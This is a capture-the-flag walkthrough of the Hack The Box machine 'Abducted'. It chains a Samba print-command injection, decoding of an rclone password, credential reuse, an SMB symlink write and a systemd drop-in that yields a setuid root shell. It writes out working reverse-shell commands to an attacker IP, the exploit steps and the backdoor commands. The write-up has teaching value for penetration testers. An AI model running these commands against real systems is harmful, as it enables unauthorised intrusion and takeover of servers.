Discussion — Questions about retired machines? Ping me on Discord.
Hack The Box

HTB Abducted Writeup | Samba Printer RCE (CVE-2026-4480) to Root via systemd Drop-In

Complete Hack The Box Abducted walkthrough covering Samba printer share RCE via CVE-2026-4480, rclone obscure password decryption, credential reuse to scott, SMB force-user plus wide-links pivot to marcus, and root via systemd drop-in.

Abducted
Medium Hack The Box
Abducted completion

Abducted HackTheBox Writeup

Machine: Abducted (10.129.43.129) Difficulty: Medium Target: Samba print server → nobody shell → scottmarcusroot


1. Enumeration

Port scan

Started with RustScan, batched scans, top ports with the standard service/version scripts:

bash
# Top-ports RustScan with Nmap service and script scan
rustscan -b 500 -a 10.129.43.129 --top -- -sC -sV -Pn
output
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh          OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
139/tcp open  netbios-ssn  Samba smbd 4
445/tcp open  netbios-ssn  Samba smbd 4

Host scripts:

  • NetBIOS name: ABDUCTED
  • SMB2 message signing enabled but not required — a sign it's not super hardened
  • clock-skew: -45s

So a minimal attack surface: SSH + SMB. The whole box lives behind the Samba service. That's our doorway.

Share enumeration

bash
# List SMB shares on the target
smbclient -L 10.129.43.129
output
Sharename      Type      Comment
------------   ----      -------
HP-Reception   Printer   Reception printer
projects       Disk      Hartley Group Project Files
transfer       Disk      Staff file transfer
IPC$           IPC       IPC Service (Hartley Group Document Services)
  • projects / transfer rejected guest auth.
  • HP-Reception is a printer share — and printer shares are special. They accept print jobs from anyone if guest ok is set.

enum4linux

output
Server allows sessions using username '', password ''

Key findings:

Finding Why it matters
Null session allowed We can enumerate via RPC anonymously
Users: scott (RID 1000), marcus (1001) Two valid accounts to attack later
Password policy: min len 5, complexity OFF, no lockout Weak — credential guessing is realistic
SMB1 disabled Server only speaks SMB2/3
HP-Reception guest-accessible The entry point

The printer share + weak policy + two local users. Classic Samba box setup. The intended path is gonna be: printer share RCE first.

NetBIOS and RPC enumeration

Dump the NetBIOS name table — <20> confirms a file server, and the default WORKGROUP means no Active Directory here:

bash
# Dump the NetBIOS name table
nmblookup -A 10.129.43.129
output
        ABDUCTED        <00> -         B <ACTIVE>
        ABDUCTED        <03> -         B <ACTIVE>
        ABDUCTED        <20> -         B <ACTIVE>
        ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE>
        WORKGROUP       <00> - <GROUP> B <ACTIVE>
        WORKGROUP       <1d> -         B <ACTIVE>
        WORKGROUP       <1e> - <GROUP> B <ACTIVE>

Guest auth is enabled, though share listing over the usual tooling can still fail — smbclient is the reliable path:

bash
# Confirm guest auth works
netexec smb 10.129.43.129 -u guest -p '' --shares
output
[+] ABDUCTED\guest: (Guest)
[-] Error enumerating shares: STATUS_ACCESS_DENIED

rpcclient over a null session surfaces the domain users and password policy directly:

bash
# Enumerate users and policy over null-session RPC
rpcclient -N 10.129.43.129 -U "" -c 'enumdomusers; querydispinfo; getdompwinfo'
output
user:[scott] rid:[0x3e8]
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: scott    Name: Scott Mercer
min_password_length: 5
password_properties: 0x00000000

2. The Printer Share — Foot in the Door

Let's poke the printer share as a guest:

bash
# Probe the printer share as a guest
smbclient //10.129.43.129/HP-Reception -N

Nothing to list inside (NT_STATUS_NO_SUCH_FILE) — expected, it's a print spooler, not a disk.

I opened help and notice a print command. Like, actual printing.

output
smb: \> print test.txt
putting file test.txt as test.txt (0.0 kB/s) (average 0.0 kB/s)

Wait... it took a local file, uploaded it, and submitted it as a print job. That means the share is live and accepting guest print jobs.

Why does this matter? Because if Samba's print command is configured with the %J substitution (the client-controlled job name), and that string hits a shell unescaped, it's a command injection sink. That's exactly CVE-2026-4480.

The vulnerability (under the hood)

Samba's smb.conf can define a print command like:

ini
print command = /usr/local/bin/printaudit %J %s
  • %s = the spool file path (what the client uploaded via WritePrinter)
  • %J = the job name, which is client-controlled

Before the patch, Samba passed %J straight into a /bin/sh -c execution with only '_ as sanitization. So if we set the job name to something like:

output
|sh

the command becomes:

output
/usr/local/bin/printaudit |sh %s

That pipe redirects the output of the print command straight into sh — and whatever we wrote as the spool file body gets interpreted as a shell script. Total game over: unauthenticated pre-auth RCE.

Simpler path — plain smbclient print

Plain smbclient works too: the printed filename becomes the job name (%J). Drop a file literally named |sh and print it:

bash
# Filename becomes %J, file body becomes the script fed to sh
echo 'ping -c 1 10.10.14.80' > '|sh'
smbclient //10.129.43.129/HP-Reception -N -c 'print "|sh"'
output
putting file |sh as |sh (0.0 kB/s) (average 0.0 kB/s)

Server side this lands as cat <spoolfile> | sh — confirm out-of-band with tcpdump -ni tun0 icmp, then swap ping for a bash reverse shell (name it |bash so it executes under bash rather than sh):

bash
# Reverse-shell variant, executed as bash
echo 'bash -i >& /dev/tcp/10.10.14.80/4444 0>&1' > '|bash'
smbclient //10.129.43.129/HP-Reception -N -c 'print "|bash"'

Programmatic exploit over the spoolss RPC pipe

For a repeatable exploit, talk directly to the Spooler RPC interface over the named pipe \pipe\spoolss (DCERPC):

  1. Connect anonymously to ncacn_np:10.129.43.129[\pipe\spoolss]
  2. OpenPrinter on \\10.129.43.129\HP-Reception
  3. StartDocPrinter with document_name = "|sh" ← the injection lands in %J
  4. StartPagePrinter
  5. WritePrinter with our payload (the reverse-shell script) ← becomes %s
  6. EndPagePrinter, EndDocPrinter ← triggers the print command server-side
  7. ClosePrinter

The box creator's CVE-2026-4480 POC implements exactly these seven calls over impacket (document_name = "|sh", spool body via WritePrinter).

Payload written into the spool file:

bash
# Reverse-shell payload written into the spool file
setsid bash -c 'bash -i >& /dev/tcp/10.10.14.80/4444 0>&1' >/dev/null 2>&1 &

The setsid ... & detaches it so the synchronous print-command path doesn't hang smbd.

Run:

bash
# Terminal 1 — listener
penelope -l 4444

# Terminal 2 — exploit
python3 cve-2026-4480.py 10.129.43.129 10.10.14.80 4444

Result:

output
nobody@abducted:/var/spool/samba$ whoami
nobody
nobody@abducted:/var/spool/samba$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

Shell as nobody. The box is ours at the lowest level.

Stabilising the shell

Upgrade the raw reverse shell to a proper TTY before doing real work:

bash
# On target, then Ctrl+Z; on attacker stty raw -echo; fg; back on target reset
script /dev/null -c bash

3. Post-Exploitation as nobody — Following the Breadcrumbs

nobody can't read /home entries (Permission denied on both scott and marcus), /root is sealed. So I went wandering through world-readable dirs and hit gold in /opt:

bash
# Hunt world-readable directories as nobody
nobody@abducted:/opt$ ls
offsite-backup
nobody@abducted:/opt/offsite-backup$ ls
rclone.conf  sync.sh

Two files — a backup config and its driver script.

bash
# Read the backup driver script
nobody@abducted:/opt/offsite-backup$ cat sync.sh
#!/bin/bash
/usr/bin/rclone --config /opt/offsite-backup/rclone.conf sync /srv/projects offsite:projects
bash
# Read the rclone backup config with the obfuscated password
nobody@abducted:/opt/offsite-backup$ cat rclone.conf
[offsite]
type = sftp
host = backup.hartley-group.internal
user = svc-backup
pass = HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
shell_type = unix

Juicy stuff:

  • An SFTP backup target with a user svc-backup
  • An obfuscated password (rclone obscure format)
  • This sync runs from a root cron at 2:30 AM (/etc/cron.d/offsite-backup)
  • It syncs /srv/projects — the same dir that's the SMB projects share later

The password is only "hidden" with rclone's obfuscation — which is encryption with a hardcoded key. Not real security at all.

Decrypting the rclone password

Fastest route first — rclone decodes its own obfuscation, right on the target, no code needed:

bash
# rclone reveals its own obscure-format password
nobody@abducted:/$ rclone reveal HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
output
iXzvcib3SrpZ

If rclone ever isn't installed, decode by hand. rclone obscure = AES-CTR with a static key, base64url encoded. Layout: [16-byte IV][ciphertext].

python
import base64
from Crypto.Cipher import AES

enc = 'HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw'
raw = base64.urlsafe_b64decode(enc + '=' * (-len(enc) % 4))
key = bytes.fromhex('9c935b48730a554d6bfd7c63c886a92bd390198eb8128afbf4de162b8b95f638')
iv, ct = raw[:16], raw[16:]
cipher = AES.new(key, AES.MODE_CTR, nonce=b'', initial_value=iv)
print('Plaintext password:', cipher.decrypt(ct).decode())
output
Plaintext password: iXzvcib3SrpZ

Lesson: The hardcoded AES key above is public (it's in rclone's source). That's the whole "protect a config file" scheme. Obfuscation is not encryption.

Now we have a credential pair svc-backup : iXzvcib3SrpZ. But that user isn't local to this box (getent passwd svc-backup → nothing). Given the weak password policy we found via enum4linux, credential reuse is the obvious next move.


4. Password Reuse → scott

bash
# Reuse the decrypted password to SSH in as scott
ssh scott@10.129.43.129
scott@10.129.43.129's password: iXzvcib3SrpZ
output
scott@abducted:~$

We're in as scott (uid 1000). Flag "user" territory.

From here I confirmed:

  • sudo -lscott cannot sudo (no lucky sudoers).
  • user.txt is readable in /home/scott.
  • There's a root cron: /etc/cron.d/offsite-backup30 2 * * * root /opt/offsite-backup/sync.sh.

So the backup cron runs as root, but we can't write /opt/offsite-backup/sync.sh (root-owned). We CAN write /srv/projects (it's scott:scott), but rclone sync doesn't execute file contents... so that wasn't directly the root path. Time to read the Samba config properly.

Reading the share definitions

smb.conf had include = /etc/samba/shares.conf. That's where the actual share definitions live:

ini
[HP-Reception]
   printable = yes
   guest ok = yes
   print command = /usr/local/bin/printaudit %J %s    ← the vulnerable print command (confirms CVE-2026-4480)

[projects]
   path = /srv/projects
   valid users = scott
   read only = no

[transfer]
   path = /srv/transfer
   valid users = scott
   force user = marcus      ← files created via this share become marcus!
   wide links = yes         ← follow symlinks that point outside the share!
   read only = no

The transfer share is the trap laid by the box author:

  • valid users = scott — we can connect.
  • force user = marcus — any file we create through this SMB share is owned/created as marcus.
  • wide links = yes — Samba will happily follow a symlink inside the share to anywhere on the filesystem.

That combination is an arbitrary-file-write-as-marcus primitive. We just need to figure out what marcus is good for.

The global section backs this up:

ini
[global]
   workgroup = WORKGROUP
   map to guest = Bad User
   guest account = nobody
   unix extensions = no
   allow insecure wide links = yes
   include = /etc/samba/shares.conf

allow insecure wide links = yes together with unix extensions = no is what lets the server follow our symlink off the share. Without that combination, the trick dies.


5. The Pivot: Becoming marcus

Check what marcus belongs to:

bash
# Check marcus group membership
scott@abducted:~$ id marcus
uid=1001(marcus) gid=1002(marcus) groups=1002(marcus),1000(operators)

scott@abducted:~$ find / -group 1000 2>/dev/null
/etc/systemd/system/smbd.service.d

marcus is in a group called operators (gid 1000), and that group owns a systemd drop-in directory for the smbd service.

bash
# Inspect the smbd drop-in directory permissions
scott@abducted:~$ ls -la /etc/systemd/system/ | grep smbd
drwxrws---  2 root operators 4096 ... smbd.service.d

drwxrws--- — group operators can read, write, and execute inside. Any .conf dropped in that directory gets merged into the smbd.service unit by systemd. That is the root escalation.

But first — get a marcus shell so we can actually benefit from the group (and run systemctl).

/srv/transfer is owned by scott? Let's check:

bash
# Check share directory ownership
scott@abducted:~$ ls -la /srv/
drwxr-x---  2 scott scott 4096 ... projects
drwxr-xr-x  2 scott scott 4096 ... transfer

Both dirs are scott-owned, so scott can create a symlink in /srv/transfer pointing anywhere:

bash
# Symlink marcus home into the transfer share
scott@abducted:~$ ln -sf /home/marcus /srv/transfer/marcushome

Now connect to the transfer share over SMB. Because of wide links = yes, Samba follows marcushome to /home/marcus. Because of force user = marcus, every operation is performed as marcus — who of course can access his own home. So I can create .ssh and drop my public key:

bash
# generator
ssh-keygen -t ed25519 -f marcus_key -N ""

smbclient //10.129.43.129/transfer -U 'scott%iXzvcib3SrpZ' -c \
  'cd marcushome; mkdir .ssh; cd .ssh; put marcus_key.pub authorized_keys; ls'

smbclient gotchas I hit while doing this:

  • ~ is not expanded inside smbclient — put ~/.ssh/id_rsa.pub fails.
  • Interactive-mode put with an absolute local path can get mis-parsed as a remote path.
  • -c needs semicolon separation, not newlines.
  • Reliable form: -c 'cd <remote>; put /abs/path authorized_keys; ls'

Then:

bash
# SSH in as marcus with the planted key
ssh -i marcus_key marcus@10.129.43.129
marcus@abducted:~$ id
uid=1001(marcus) gid=1002(marcus) groups=1002(marcus),1000(operators)

We are marcus. Now the interesting part: what can the operators group actually reach?


6. Root via systemd Drop-In

Why marcus can control smbd

Write access to a unit's drop-in directory means you can modify that unit's definition. Restarting works here because of a custom polkit rule for the operators group (verified below) — systemctl daemon-reload and systemctl restart smbd succeed as marcus while other services prompt for root auth. That's the intended trigger.

Planting the payload

Plan: add an ExecStartPre to the smbd unit that runs as root before smbd starts. Make it backdoor /bin/bash with the setuid bit:

ini
[Service]
ExecStartPre=/bin/sh -c 'cp /bin/bash /tmp/.rootbash; chown root:root /tmp/.rootbash; chmod 4755 /tmp/.rootbash'

Order matters a lot here. If you chmod 4755 then chown, the chown clears the setuid bit. Always chown first, then chmod.

We need to write this as marcus (group operators) — scott can't. Reuse the same SMB wide-link trick with a link to smbd.service.d:

bash
# Symlink the systemd drop-in directory into the transfer share
scott@abducted:~$ ln -sf /etc/systemd/system/smbd.service.d /srv/transfer/svcbackup

smbclient //10.129.43.129/transfer -U 'scott%iXzvcib3SrpZ' -c \
  'cd svcbackup; put pwn.conf; ls'

The file now sits inside smbd.service.d/pwn.conf, written as marcus through the share.

Trigger

bash
# Reload systemd and restart smbd to trigger the drop-in payload
marcus@abducted:~$ systemctl daemon-reload
marcus@abducted:~$ systemctl restart smbd

smbd restarts → systemd loads our drop-in → ExecStartPre fires as root/tmp/.rootbash is now SUID root:

bash
# Verify the SUID root shell landed
marcus@abducted:~$ ls -l /tmp/.rootbash
-rwsr-xr-x 1 root root 1446024 ... /tmp/.rootbash

Why the restart works — polkit

Restarting any other service prompts for root auth, but smbd doesn't. The reason lives in polkit — interrogate it as marcus:

bash
# List systemd-related polkit actions
marcus@abducted:~$ pkaction | grep systemd
output
org.freedesktop.systemd1.reload-daemon
...
bash
# Ask polkit directly whether this shell may reload the daemon
marcus@abducted:~$ pkcheck --action-id org.freedesktop.systemd1.reload-daemon --process $$ && echo "success"
output
success

So daemon-reload is explicitly granted. The smbd restart grant is conditional on the target unit, which polkit only reveals to root or the action owner — a generic check can't show it, but the unit-scoped allow is confirmed from the other side once root (next section).

Beyond root — the actual rule

/etc/polkit-1/rules.d/49-smbd-operators.rules (readable only as root):

js
polkit.addRule(function(action, subject) {
    if (!subject.isInGroup("operators")) { return; }
    if (action.id == "org.freedesktop.systemd1.reload-daemon") {
        return polkit.Result.YES;
    }
    if ((action.id == "org.freedesktop.systemd1.manage-units" ||
         action.id == "org.freedesktop.systemd1.manage-unit-files") &&
        action.lookup("unit") == "smbd.service") {
        return polkit.Result.YES;
    }
});

Members of operators may reload the daemon and manage only smbd.service. That is the whole privilege boundary of this box — group membership plus this rule.

Root

bash
# Escalate to root with the SUID shell and read the flag
marcus@abducted:~$ /tmp/.rootbash -p
# id
uid=1001(marcus) gid=1002(marcus) euid=0(root) groups=1002(marcus),1000(operators)
# cat /root/root.txt

Fully owned.


7. Flags

Flag Location
user.txt /home/scott/user.txt
root.txt /root/root.txt

(values omitted)


8. Key Takeaways

Technique Takeaway
CVE-2026-4480 Samba print command + %J without escaping = pre-auth RCE via the Spooler RPC pipe; exploit speaks \pipe\spoolss directly (StartDocPrinter with `document_name="
rclone obscure Not real crypto — AES-CTR with a hardcoded key. Always reversible (rclone reveal, or the key + a few lines of Python).
Credential reuse The whole box runs on one password. Weak policy (min-len 5, no lockout) made nothing stop us.
SMB force user + wide links An arbitrary write-as-that-user primitive. Drop a symlink in a share dir you own, let Samba follow it, act as the forced user.
Exotic groups operators owning a systemd drop-in dir for a service = instant root if you can join the group and restart the service.
systemd unit-file write Modern systemd lets you systemctl restart a unit whose drop-in files you can write. That's the "trigger" the box author built in.
Payload ordering chown after chmod 4755 silently strips setuid. chown first.
polkit pkaction / pkcheck show exactly what your user may do; unit-scoped manage-units grants explain otherwise "magic" service restarts.

9. References

9. References

Author avatar

Written by Surajit Sen

Was this writeup helpful?

Comments